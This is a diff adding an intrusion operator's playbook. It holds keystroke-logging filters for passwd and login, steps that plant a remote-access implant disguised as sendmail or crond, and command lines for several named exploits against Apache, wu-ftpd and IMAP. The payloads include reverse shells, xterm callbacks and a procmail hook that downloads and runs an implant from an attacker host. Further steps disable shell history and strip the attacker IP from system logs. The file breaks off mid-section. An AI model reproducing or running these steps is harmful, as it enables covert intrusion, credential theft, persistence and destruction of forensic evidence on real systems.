= rsh + collect = read AND write + offspring = yes ; rsh forks another process +end + +filter 2 + name = telnet + collect = read AND write +end + +filter 3 + name = rlogin + collect = read AND write + offspring = yes ; rlogin forks another process +end + +filter 4 + name = passwd + collect = read +end + +filter 5 + name = login + collect = read +end + +;filter 6 +; name = csh +; ruid = 56264 +; collect = read AND write +; offspring = yes +;end + +;filter 7 +; name = su +; collect = read +;end + +; specify any other rules, up to index 15, as above + + diff --git a/Linux/doc/old/etc/user.mission.generic.COMMON.old b/Linux/doc/old/etc/user.mission.generic.COMMON.old new file mode 100644 index 0000000..85f6d82 --- /dev/null +++ b/Linux/doc/old/etc/user.mission.generic.COMMON.old @@ -0,0 +1,5712 @@ +# 2010-07-26 13:30:20 EDT + + + +############- TOUCH +#only from redirector **SKIP** + +nslookup domain +nslookup ip +nslookup -query=mx domain_name +nslookup -query=mx domain_name + +############- on solaris pingflag is -s +ping IP + + TTL OS + 2 - 32 Windows for Workgroups + 2 - 32 Windows 95 + + 34 - 64 Red Hat Linux (< version 6.0) + 34 - 64 Digital UNIX + 34 - 64 SCO + + 98 - 128 Windows NT + 98 - 128 Windows 95 w/MS Dialup Network Upgrade + 98 - 128 Windows 98 + + 225 - 255 UNIX + Note: recent Sun OS 5.9 boxes TTL 34-64. + +################### PITCHIMPAIR INSTRUCTIONS ###################################### + + +### +### begin user.mission.pitchimpair +### + + ### get rid of pesky spaces at beginning of lines (fixes pasted html) +:%s/^[ ]*//g +:1 + + + ### Set up variables. Use the next section for reference. + + ## Description Typical Value Actual Value This OP + ## --------------- ------------- -------------------- + ## local-ip: LOCAL_IP + ## pitch-ip: PITCH_IP + ## target-ip: TARGET_IP + ## target-name: TARGET_NAME + ## target-domain: TARGET_DOMAIN + ## netcat-port: random NETCAT_PORT + ## rat-port: nopen port RAT_PORT + ## rat-name: sendmail RAT_NAME + ## work-dir: .scsi WORK_DIR + + # Make the changes here. Use the above for reference if you need it. + + + + +####################################################################### +# +# Need a new userlist ? +# +# -ls /global/m*/MB/*/*/*/mailinfo.dat > L:/current/down/userlist +# +# (N.B. the -ls will give the mailinfo.dat file timestamps in the +# format expected by lsstamp ... see next command) +# +# ## now, LOCALLY run lsstamp userlist > userlist.sorted +# ## (lsstamp will sort the -ls lines in date order) +# +# Collection: -get /global/m1/MB/96/8/karachi:moftec/mailinfo.dat +# +# +####################################################################### + + +mx +:%s/LOCAL_IP/LOCALIP/g +:%s/PITCH_IP/PITCH_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_NAME/TARGET_NAME/g +:%s/TARGET_DOMAIN/TARGET_DOMAIN/g +:%s/NETCAT_PORT/38745/g +:%s/RAT_PORT/RAT_PORT/g +:%s/RAT_NAME/sendmail/g +:%s/WORK_DIR/.scsi/g +:%s/mm-dd-yyyy/mm-dd-yyyy/g +`x + +### Use this if we already own the target: +### Create /current/etc/hops.txt file +HOP1: PITCH_IP:R -lue +HOP2: TARGET_IP:R -uec + + + +################################################################## +## Using NOPEN to start something with clean file descriptors +## using -shell then exec to close file descriptors. +## +## Two examples, one for noserver, one for other standalones. +################################################################## + + +# This can be useful after exploits, too--if our NOPEN inherits a +# legit port from the exploit (say 161), then we install, we have just +# hidden our target's snmpd. Not good. + +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +cp /proc/$$/exe sendmail || cp /proc/$$/object/a.out sendmail +PATH=. D=-ulrandom14444-55555 sendmail +# OR: PATH=. D=-ucREDIR_IP:random14444-55555 sendmail +netstat -antp | grep sendmail || netstat -an | grep sendmail +ps -ef | grep sendmail$ +rm sendmail +exit + +# Used when deploying standalones (DD, SBZ), it helps avoid their +# children having the NOPEN ports inherited in CLOSE_WAIT state. + +-put /current/up/STANDALONETODEPLOY ./RAN_AS +-addpath . +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +which RAN_AS +RAN_AS FAKE_ARGS_IF_ANY & +echo $? +rm RAN_AS +exit + + + + + +############ Set up nopen for access +### + +### start upload in another window +cd /current/up + +file noserver* +cp noserver.[sparc] noserver + +### using NOPEN +file noserver* +packrat NETCAT_PORT + # cp noserver sendmail; compress -c sendmail | uuencode sendmail.Z > sendmail.uu + # ls -l sendmail.uu* + # nc -l -p NETCAT_PORT < sendmail.uu + + + + +### Filters out "last" command on initial ops on the target +echo "last" > /current/etc/autofilter.TARGET_NAME.TARGET_IP + # or +echo "last" > /current/etc/autofilter.TARGET_NAME.TARGET_DOMAIN.TARGET_IP + + + + + ### in setting up windows, you probably want this + + ### td is an alias on HURRICANE and TYPHOON to set up a TCPDUMP xterm on right screen + + td + + cd /current/down + script -a windows.tcpdump + + tcpdump -i eth0 -n -n + + ### in addition to this (which scrubhands may have given you) + + td + + cd /current/down + script -a tcpdump.raw + + tcpdump -i ppp0 -n -n + + +### Use something similar to this for annoying packets in the red tcpdump: +### Paste in a non-scripted window: +echo "pathcost" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "NetBeui" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "who-has" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "router" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters + + + + + ### if done via PITCHIMPAIR infrastructure: + ### + ### Get onto INCISION host: + ### +# if using hops.txt: +ourtn + +# if using commandline: +ourtn -uel PITCH_IP + + # or + ourtn -ue PITCH_IP TARGET_IP + ourtn -eulc -o RAT_PORT PITCH_IP TARGET_IP + + DISPLAY= + export DISPLAY + + ./ftshell ./tn.spayed PITCH_IP + ### or + ./ftshell ourtn PITCH_IP + + ### Check for our PID (shouldn't see it) + ps -ef|grep + + + ### See who's on + w ; date + + ### Check for anything mucking with /tmp + ps -ef | grep \/tmp + + df -k + + dmesg + + ### Create working directory - first make sure /tmp doesn't have it already + + ls -al /tmp + cd /tmp; ls -al + pwd + + ### check things out a bit... + + ls -lart /etc | tail -30 ; uname -a ; date ; ifconfig -a ; w + + + ### maybe check logs? + + ls -lart /var/adm /var/log + + + ### look for sniffers etc + ps -ef|grep #### + + + ### upload RAT + + ~~p + ../up/noserver.sparc sendmail + + ls -al + chmod 700 sendmail && netstat -an | grep RAT_PORT + PATH=. D=-lRAT_PORT sendmail && rm sendmail && ls -alrt + + +### in a local window, connect to pitchimpair via nopen, and start tunnels #### + +### Ex: noclient 217.53.1.2:39222 + +cd /current/down +noclient PITCH_IP:RAT_PORT + + #-readrc ../etc/norc.solaris + + +######################################## +# INCISION to FreeBSD implant +######################################## + +# from local LINUX scripted window +export EXPECT_PROMPT="(%|:|#|\\$)[ ]*$" +ourtn -lue PITCH_IP +-irtun 219.238.199.144 RANDOM_PORT -z -s 80 +setenv D -lNOPEN_PORT # NO = sign and use setenv +set path = (. /usr/bin /bin) # NO QUOTES and use set +~~p +/current/up/noserver cron # freebsd noserver +which cron +cron + +# from NOPEN on the PITCHIMPAIR host: +-nstun 219.238.199.144:NOPEN_PORT +-cd /tmp +-lt +-rm cron +-lt + +------------------------------------- +export EXPECT_PROMPT="(%|:|#|\\$)[ ]*$" +ourtn -lz TARGET_IP # or -irtun TARGET_IP PORT -lz + +setenv D -lNOPEN_PORT # NO = sign and use setenv +set path = (. /usr/bin /bin) # NO QUOTES and use set +~~p +/current/up/noserver crond # freebsd noserver +which crond +crond + +noclient TARGET_IP:NOPEN_PORT or -nstun TARGET_IP NOPEN_PORT + + +######################################## +# JACKLADDER +######################################## + +### can be done without a redirector and will upload and execute nopen + +jacktelnet.sh TARGET_IP LOCAL_IP NETCAT_PORT WORK_DIR RAT_NAME [JACKPORT] + + +######################################## +# JACKLADDER - triggering IN thru JACKPOP on Linux (FAINTSPIRIT) +######################################## + +### Local window, let this sit and wait: +ourtn -T 202.38.128.1 -n -I -ue -O 113 -p 443 -C 211.40.103.194 127.0.0.1 + +### on PITCH: set up window for nopen callback +-nrtun 113 + +### on PITCH: set up tunnel for nopen upload +-tunnel +r NOPEN_UPLOAD_PORT + +### on PITCH, run jackpop to tickle incision +-jackpop 202.38.128.1 110 211.40.103.194 13732 +#3 run a command +/dev/ttyia2 PITCH_IP 443 +yes ### let incision bless the commands + +### incision will talk to your local window, then callback to your -nrtun window + + +################################################### +### REDIRECTING IN THRU WINDOWS +################################################### + +################## SENDING TRIGGER THRU WINDOWS (2000 or XP) BOX ########################## +##### NT4.0 doesn't allow the use of raw sockets, which is needed to send the IN trigger ## + +mx +:%s/LOCAL_WINDOWS_IP/LOCAL_WINDOWS_IP/g +:%s/LOCAL_UNIX_IP/LOCAL_UNIX_IP/g +:%s/UNIX_INCISION_TRIGGER_PORT/UNIX_INCISION_TRIGGER_PORT/g +:%s/INCISION_CALLBACK_PORT/INCISION_CALLBACK_PORT/g +:%s/NOPEN_CALLBACK_PORT/NOPEN_CALLBACK_PORT/g + +:%s/WIN_TARG_INTERNAL_IP/10.140.0.9/g +:%s/TARGET_IP/10.140.0.40/g + +`x + +## Usage: script unixredirect.eps LOCAL-WINDOWS-IP LOCAL-UNIX-IP UNIX-INCISION-TRIGGER-PORT INCISION-CALLBACK-PORT NOPEN-CALLBACK-PORT + +script unixredirect.eps LOCAL_WINDOWS_IP LOCAL_UNIX_IP UNIX_INCISION_TRIGGER_PORT INCISION_CALLBACK_PORT NOPEN_CALLBACK_PORT + + ### or run the following by hand + + + ### On Windows box ##################### + + # Note: can use 'background' instead of 'monitor' in the windows commands + + # This sends the trigger: + # monitor packetredirect -packettype tcp -listenport LOCAL-PORT -bind LOCAL-WIN-IP + # Ex. - monitor packetredirect -packettype tcp -listenport 32654 -bind DOOBIEIP + + monitor packetredirect -packettype tcp -listenport LOCAL_PORT -bind LOCAL_WIN_IP + + + + # This listens for the ish callback + # monitor redirect -tcp -implantlisten ISH-CALLBACK-PORT -target LOCAL-LINUX-IP ISH-CALLBACK-PORT + # Ex. - monitor redirect -tcp -implantlisten 28345 -target FIREBALL_IP 28345 + + monitor redirect -tcp -implantlisten ISH_CALLBACK_PORT -target LOCAL_LINUX_IP ISH_CALLBACK_PORT + + + + # For nopen connection: + # monitor redirect -tcp -lplisten RAT-PORT + # Ex. - monitor redirect -tcp -lplisten 47108 + + monitor redirect -tcp -lplisten RAT_PORT -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP + + + + # For additional nopen connections, increment the lplisten port, but keep the same target nopen port: + # monitor redirect -tcp -lplisten RAT-PORT+1 -target TARGET-IP RAT-PORT -bind LOCAL-WIN-IP + # Ex. - monitor redirect -tcp -lplisten 47109 -target 10.1.1.3 47108 -bind 10.1.1.2 + # Ex. - monitor redirect -tcp -lplisten 47110 -target 10.1.1.3 47108 -bind 10.1.1.2 + + monitor redirect -tcp -lplisten RAT_PORT+1 -target TARGET_IP RAT_PORT -bind LOCAL_WIN_IP + + ### On Linux box: ##################### + + + # Once the first three windows commands are set up, you can send the trigger: + # ourtn -W LOCAL-WIN-IP:LOCAL-PORT -o RAT-PORT -p ISH-CALLBACK-PORT -i WIN-TARG-IP -ue TARGET-IP + # Ex: ourtn -W DOOBIE_IP:32654 -o 47108 -p 28345 -i 10.1.1.4 -ue 10.1.1.3 + + #ourtn -W LOCAL_WIN_IP:LOCAL_PORT -o RAT_PORT -p ISH_CALLBACK_PORT -i WIN_TARG_IP -ue TARGET_IP + #ourtn -W 192.168.254.253:31413 -O 41611 -C 202.154.225.27 -p 37541 -i 202.154.225.27 -ue 10.140.0.40 + + #ourtn -ueW 192.168.254.253:31413 -i 202.154.225.27 -C 202.154.225.27 -p 37541 -O 41611 10.140.0.40 + TRAVOLTA=1 ourtn -ueW 192.168.254.22:8942 -i 10.140.0.9 -C 10.140.0.9 -p 18855 -O 7549 10.140.0.40 + +### Use the TRAVOLTA option to keep nopen from dying in 5 hours, only if you think the op will be extended +### If alien has issues with an nfs mount point, so use the "-Q" option to ourtn and DO NOT run the following +### -lt /, df -k, otherwise, you'll tie up your window and will need to kill the process; +### it's better NOT to run nopen built-ins on alien so that you can kill something if it hangs + +incision trigger = UNIX_INCISION_TRIGGER_PORT +incision callback = INCISION_CALLBACK_PORT +nopen callback = NOPEN_CALLBACK_PORT + + +#ourtn -ueW 192.168.254.142:36541 -i 10.140.0.9 -C 10.140.0.9 -p 34789 -O 45665 10.140.0.40 +#ourtn -ueW LOCAL-WIN-IP:LOCAL-PORT -i WIN-TARG-IP -C WIN-TARG-INTERNAL-IP -p ISH-CALLBACK-PORT -O RAT-PORT TARGET-IP +ourtn -ueW LOCAL_WINDOWS_IP:UNIX_INCISION_TRIGGER_PORT -i WIN_TARG_INTERNAL_IP -C WIN_TARG_INTERNAL_IP -p INCISION_CALLBACK_PORT -O NOPEN_CALLBACK_PORT TARGET_IP + +noclient -l NOPEN_CALLBACK_PORT +#noclient -l 45665 + + + # Call forward to nopen works to alien, start a -listen PORT to call forward + # Set up redirectors on windows side to allow the following connections: + +mx +:%s/NOPEN_CALLFORWARD_PORT/NOPEN_CALLFORWARD_PORT/g +'x + + +# on windows side: +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+1 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP +background redirect -tcp -lplisten NOPEN_CALLFORWARD_PORT+2 -target TARGET_IP NOPEN_CALLFORWARD_PORT -bind LOCAL_WINDOWS_IP + + +-listen NOPEN_CALLFORWARD_PORT +noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT +#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+1 +#noclient LOCAL_WINDOWS_IP:NOPEN_CALLFORWARD_PORT+2 + + + + #### To kill one server first use it to start a new one (new one won't burn) + D=-l23477 PATH=. sendmail + -burnBURN + + + # Connect to nopen; suggest using the port override option (-o) above for simplicity + # For additional windows, you and the windows person must increment the redirected port + # Ex. - noclient 10.1.1.2:47108 + # Ex. - noclient 10.1.1.2:47109 + + #noclient 10.1.1.2:RAT_PORT+1 + + + +########################################################### +# YES - for HPUX +########################################################### + +./yes 127.0.0.1 100083 1 PROGRAM_PORT 0x40062ea8 'mkdir /tmp/.scsi;cd /tmp/.scsi && /usr/bin/telnet PITCH_IP NETCAT_PORT &1 > /dev/null 2>&1 && uncompress -f sendmail.Z;chmod 0700 sendmail && export D=-cPITCH_IP:NOPEN_PORT && ./sendmail' + + + + +########################################################### +# CUP +########################################################### + +-gs wearcup -h + +### to have it cleanup in 3 hours: +-gs wearcup -r -w 3h + +### to have it cleanup in 2 minutes: +-gs wearcup -r -w 120s + +### or, run it by hand: +### locally, edit cup, and change the working dir, and time in minutes to wait for execution + + +### upload cup +-put /current/up/cup.DEPRECATED.SEE.README.cup.NOPEN cup +-cat cup + +### run cup +./cup & +ps -ef |grep sleep + +### You can kill the sleep to make it execute immediately, or just let +### it run normally + +-exit + +#### DO NOT -burn !!!!!!!!! USE -exit INSTEAD!!!!!!!!!! + +########################################################### +# HP Kernel Checks +########################################################### + +# run these to check target for kernel info for implants: + +/usr/bin/getconf SC_CPU_VERSION +/usr/bin/getconf SC_KERNEL_BITS +kmadmin -s + + + +######################################################### +# EVENLESSON +######################################################### + +# runs against Linux systems running Apache with mod_ssl accessing +# OpenSSL 0.9.6d or earlier on x86 architectures +# May not work first time; Try increasing the number of connections to the target by 6. +# If this fails, try increasing the number of connections by 4 until you reach 40. +# SHould give you prompt on system - may have to elevate + +#-scan 443 TARGET_IP +-scan http TARGET_IP +-scan ssl TARGET_IP + +### Redirector: + +-tunnel +l 443 TARGET_IP +r NETCAT_PORT + + +### query target: + +./apache-ssl-linux_v3 -i 127.0.0.1 +./apache-ssl-linux -i -s + + +### Usage: +# Usage: ./apache-ssl-linux <-i hostname> [-s scan banner] [-t arch] [-p port] [-n ] [-a 0x
] + + + +### Usage for default values: +./apache-ssl-linux -i TARGET_IP -t ARCH + + +### Usage for increasing number of connections to increase chances +./apache-ssl-linux -i TARGET_IP -t ARCH -n 20 + + +#### get ptrace, forkpty, and nopen tarball ready to send: +cd /current/up +cp ptrace pt +cp noserver sendmail +cp forkpty fp +tar cvf 1u.tar pt sendmail fp +uuencode 1u.tar 1u.tar > 1u.tar.uu + +nc -l -p NETCAT_PORT < 1u.tar.uu + +#### to elevate and also get nopen there: +cd /tmp +mkdir .scsi +cd .scsi +telnet LOCAL_IP NETCAT_PORT > src + Connection closed by foreign host. +ls -la +uudecode src +ls -la +tar xvf 1u.tar +ls -la +chmod 700 fp sendmail pt +./fp +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + +#### at sh-prompt, type: +tty +./pt +id +PATH=. sendmail +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + + +##### Cleanup + +/var/log/httpd/error_log + + + + + + +########################################################### +# EYEMASK +########################################################### + +### Imap masqerade +### Bring a local to get root + +### for solaris + +nc -v -l -p 53 < ../up/noserver-sparc-sun-solaris2.5.1 +noclient -l 25 +telnet TARGET_IP 143 + +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {145} +"| /bin/ksh -c '/bin/cat/tmp/sendmail;chmod +x /tmp/sendmail;D=-cPITCH_IP:25 PATH=/tmp sendmail;rm -f /tmp/sendmail'" + +A009 DELETE .forward +A010 LOGOUT + +telnet PITCH_IP 25 +HELO helo +MAIL FROM: user@itt.beta.net +RCPT TO: user@itt.beta.net +DATA +. +QUIT + +# echo -e "HTTP/1.0 200\n" > new +# cat new noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > sendmail +# nc -v -l -p 53 < sendmail + +# noclient -l 25 + + + + + + +telnet TARGET_IP 143 +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A100 LIST /etc/smrsh * +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {11} +"| slocal" +A100 CREATE .maildelivery +A101 APPEND .maildelivery (\Seen) {37} +To user pipe A >/home/user/.g +A102 LIST "" % +A102 RENAME .g .procmailrc +A008 APPEND .procmailrc (\Seen) {128} +:0 c +|cd /tmp;wget http://PITCH_IP:53/sendmail; chmod +x /tmp/sendmail;D=-cPITCH_IP:25 PATH=/tmp sendmail;rm -f sendmail +A009 DELETE .forward +A009 DELETE .maildelivery +A009 DELETE .procmailrc +A010 LOGOUT + +telnet localhost 25 +HELO helo +MAIL FROM: user@localhost.localdomain +RCPT TO: user@localhost.localdomain +DATA +. +QUIT + + + +telnet fawn 143 +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A102 LIST "/usr/bin/X11" % +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {50} +"| /usr/bin/*11/xterm -display PITCH_IP:26000" +A009 DELETE .forward +A010 LOGOUT + +telnet fawn 25 +HELO helo +MAIL FROM: user@fawn.beta.net +RCPT TO: user@fawn.beta.net +DATA +. +QUIT + + + +### cleanup +possible logging in /var/adm/messages (should blend in if it fails) + + +########################################################### +# EXPOUNDATOM +########################################################### +# Requires the target to have the wu-2.6.1 FTP service running +# Requires anonymous ftp access (determined if exploit works) +# -scan ftp TARGET_IP +# A maximum of two tries can be attempted. +# +# Syntax +# ./wu-261-linux -h +# For target list: +# ./wu-261-linux -t0 -h + + +# No redirection: +./wu-261-linux TARGET_IP 21 VERSION + + + +# w/ redirection: +-tunnel +l 21 TARGET_IP + +# Locally: +./wu-261-linux -a -d 127.0.0.1 +./wu-261-linux -t17 -d 127.0.0.1 + +# SHould give you root; need to upload nopen + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +which uudecode uncompress + # gedit sendmail +uudecode; ls -latr +uncompress sendmail.Z +ls -la +chmod 700 sendmail +PATH=. sendmail + +# IF it complains about the user/pass correct, then it's not vulnerable to +# our pair that we try to send it; + +# Cleanup: +# /var/log/messages (look for ftp access) +# /var/adm/utmpx, wtmpx +# /var/log/secure + + +################################################### +### EMBERSNOUT +################################################### + +# must verify that box is RH9.0(SHRIKE) and that +# httpd is "Apache/2.0.40 (Red Hat Linux) + +-scan telnet TARGET_IP +-scan ssh TARGET_IP +-scan ssl TARGET_IP + +# Notes: +# this indicates it's RH9.0 but could be either Psyche or Shrike: +# (Linux release 2.4.20-8custom #3 SMP Thu Aug 28 13:56:20 EDT 2003) + +# seeing this indicates (Shrike) because the version is bundled with it: +# SH-1.99-OpenSSH_3.5p1 + +# this version of Apache is needed but Psyche comes with 2.0.40-8 and +# Shrike comes with 2.0.40-21; the release in not determinable from +# a scan; just verify it's what is expected: +# Server: Apache/2.0.40 (Red Hat Linux) +# + +# op box should work - depends if python is included +rpm -qf /usr/bin/python + # should see: python-base-2.2-9mdk + +# if you want it to pop an xterm back to your screen: +# - make sure 6000 is listening +# - run xhost + + +./es.py + Arguments: ['./es.py'] + + + Usage -> ./es.py ip port packet_size start_ebp end_ebp ebp_inc hex_pad_byte "cmd" + + where... + + ip............target IP address + port..........target httpd TCP port number (usually 443) + packet_size...attack packet length in bytes + start_ebp.....guessed %ebp value to start with + end_ebp.......guessed %ebp value to end with + ebp_inc.......how many stack bytes to bump %ebp each time + hex_pad_byte..packet filling byte (0x0 will do randomized fill) + "cmd".........ASCII command string to be executed on target + +### Locally +netstat -an |grep 6000 +xhost + + + +########### REDIRECTED: + + +### Redirector: +-tunnel +l 443 TARGET_IP +r 6006 127.0.0.1 6000 +r NETCAT_PORT + +### In a local scripted window, set up a netcat to listen for a connection: + +nc -vv -l -p NETCAT_PORT + + +### Locally (choose a method): + +### This one will send command results back to a netcat window (not interactive) +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 (/bin/uname -a; /usr/bin/id; /bin/ps -auxww; /bin/w)|/usr/ +bin/telnet PITCH_IP NETCAT_PORT" + +### This one gives you an interactive window: +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(sh&0 2>&0)" + # or for ksh: +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(ksh -c "sh &0 2>&0")" + +### This one pops back an xterm (be patient for it to pop back and keep mouse clear of window): +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "/usr/bin/X11/xterm -display PITCH_IP:6 -e /bin/sh" + + +############ No Redirection: + +./es.py TARGET_IP 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 (/bin/uname -a; /usr/bin/id; /bin/ps -auxww; /bin/w)|/usr/ +bin/telnet LOCALIP NETCAT_PORT" + +./es.py TARGET_IP 443 5000 HIT_STRING 0xbffffff0 0x4 0x0 "(/usr/bin/X11/xterm -display LOCALIP:0 -e /bin/sh)" + +./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(sh&0 2>&0)" + + + +### if the exploit stalls after a bit, hit Ctl-C to wake it up, which +### prompts you if you want to continue - hit 'y' +### watch for a connection back to your netcat window + +### Once you have access........ +### you need to first clean extraneous processes started by httpd +### run this to help clean: + + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +pwd +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- 10<&- 11<&- 12<&- 13<&- 255<&- +/usr/sbin/lsof |grep ^sh +uname -a; id +mkdir -p /tmp/.httpd-lock; chmod 700 /tmp/.httpd-lock; ls -lctra /tmp +cd /tmp/.httpd-lock; pwd +which uudecode uncompress +#telnet PITCH_IP NETCAT_PORT /tmp/.httpd-lock/crond +chmod 700 crond +PATH=. crond +PATH=. D=-cPITCHIP:NOPEN_PORT crond +rm crond + + +-nstun TARGET_IP +-nrtun NOPEN_PORT +noclient TARGET_IP + +### need to elevate so you can clean logs (use eventstart - ptrace won't work on RH9) + + + +### Logging: +-lt /var/log/httpd + /var/log/httpd/ssl_access_log + /var/log/httpd/ssl_request_log + /var/log/httpd/ssl_error_log + /var/log/httpd/error_log + +-lt /var/log + /var/log/messages + /var/log/secure + /var/log/maillog + +egrep -v PITCH_IP /var/log/httpd/ssl_access_log > t; cat t > /var/log/httpd/ssl_access_log +egrep -v PITCH_IP /var/log/httpd/ssl_request_log > t; cat t > /var/log/httpd/ssl_request_log +egrep -v PITCH_IP /var/log/httpd/error_log > t; cat t > /var/log/httpd/error_log +egrep -v Segmentation /var/log/httpd/error_log > t; cat t > /var/log/httpd/error_log +egrep -v PITCH_IP /var/log/httpd/ssl_error_log > t; cat t > /var/log/httpd/ssl_error_log +egrep -v PITCH_IP /var/log/messages > t; cat t > /var/log/messages +egrep -v PITCH_IP /var/log/secure > t; cat t > /var/log/secure +egrep -v PITCH_IP /var/log/maillog > t; cat t > /var/log/maillog + + +#################################### +### ENVELOPSWALLOW +#################################### + +# buffer overflow for Apache Web + + +Usage: ./envelopswallow <-switches> -h host[:80] + -h host[:port] Host to penetratea and TCP port of the web server to attack + -t # Target id. + Bruteforcing options (all required, unless -o is used!): + -o char Default values for the following OSes + (f)reebsd, (o)penbsd, (n)etbsd + -b 0x12345678 Base address used for bruteforce + Try 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd. + -d -nnn memcpy() delta between s1 and addr to overwrite + Try -146/obsd, -150/fbsd, -90/nbsd. + -z # Numbers of time to repeat \0 in the buffer + Try 36 for openbsd/freebsd and 42 for netbsd + -r # Number of times to repeat retadd in the buffer + Try 6 for openbsd/freebsd and 5 for netbsd + Optional stuff: + -w # Maximum number of seconds to wait for shellcode reply + -c cmdz Commands to execute when our shellcode replies + aka auto0wncmdz + -W # of seconds to wait between tries (use this when tunneling thru nopen) + + + + +-scan http TARGET_IP + +-tunnel +l RANDOM TARGET_IP 80 +r NETCAT_PORT + + +./envelopswallow + +# plug in the options of the matching line +# change TARGET_IP to 127.0.0.1 if using redirection + +# 4.0 FreeBSD RELEASE apache-1.3.12(distro binary) apache+mod_ssl-1.3.12+2.6.2(distro binary) +# apache+php-1.3.12+3.0.15 (distro binary) apache+php-1.3.12+4.0b3 (distro binary) +# apache+ssl-1.3.9+1.37(distro binary) + ./envelopswallow -o f -w 1000 -b 0xbfbfd000 -d -134 -r 11 -z 16 -h TARGET_IP:80 + +# 4.1 FreeBSD Apache 1.3.12(distro binary) + ./envelopswallow -o f -w 1000 -b 0xbfbfd000 -d -134 -r 11 -z 16 -h TARGET_IP:80 + ./envelopswallow -o f -w 1000 -b 0xbfbf0000 -d -134 -r 11 -z 16 -h TARGET_:80 + + +# 4.1 FreeBSD Apache 1.3.14 / 1.3.17 / 1.3.19 / 1.3.20 / 1.3.22 / 1.3.23 / 1.3.24 (built from source) + ./envelopswallow -o f -h TARGET_IP:80 -w 1000 -b 0x080edc29 -d -146 -z 36 -r 6 + + +# 4.4 FreeBSD Apache 1.3.20(binary) + ./envelopswallow -b 0xbfbf0000 -z 16 -r 11 -d -134 -h TARGET_IP:80 + + +# 4.4 FreeBSD ru-apache+mod_ssl-1.3.20+30.5+2.8.4 (distro binary) + ./envelopswallow -b 0xbfbfd000 -z 16 -r 11 -d -134 -h TARGET_IP:80 + + +# 4.5 FreeBSD apache+mod_ssl-1.3.22+2.8.5_4(distro binary) and apache-1.3.22_7 (distro binary) + ./envelopswallow -b 0xbfbfd000 -z 16 -r 11 -d -134 -h TARGET_IP:80 + + +### Let it run for about addresses (rows of PppP...ppP's) then bail if it doesn't hit +### maybe let it run an hour or less + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D=-lRAT_PORT PATH=. sendmail + +### pitch window +-nstun TARGET_IP RAT_PORT + + + +upload local: rforkx.freebsd (FreeBSD 4.1 & 4.3) + or sm11x.freeBSD ( ONLY for: + 7.0, 7.1, FBSD 4.2 + FBSD -t0 + 7.0 -t1 + 7.1 -t2 + + + + +###################################### +# RFORKX +###################################### + +### elevation for x86/FreeBSD +# Works-on : +# FreeBSD 3.1-RELEASE (GENERIC) #0: Mon Feb 15 11:08:08 GMT 1999 +# FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999 +# FreeBSD 3.3-RELEASE (GENERIC) #0: Thu Sep 16 23:40:35 GMT 1999 +# FreeBSD 4.0-RELEASE (GENERIC) #0: Mon Mar 20 22:50:22 GMT 2000 +# FreeBSD 4.1-RELEASE (GENERIC) #0: Fri Jul 28 14:30:31 GMT 2000 +# FreeBSD 4.2-RELEASE (GENERIC) #0: Mon Nov 20 13:02:55 GMT 2000 +### fails on some 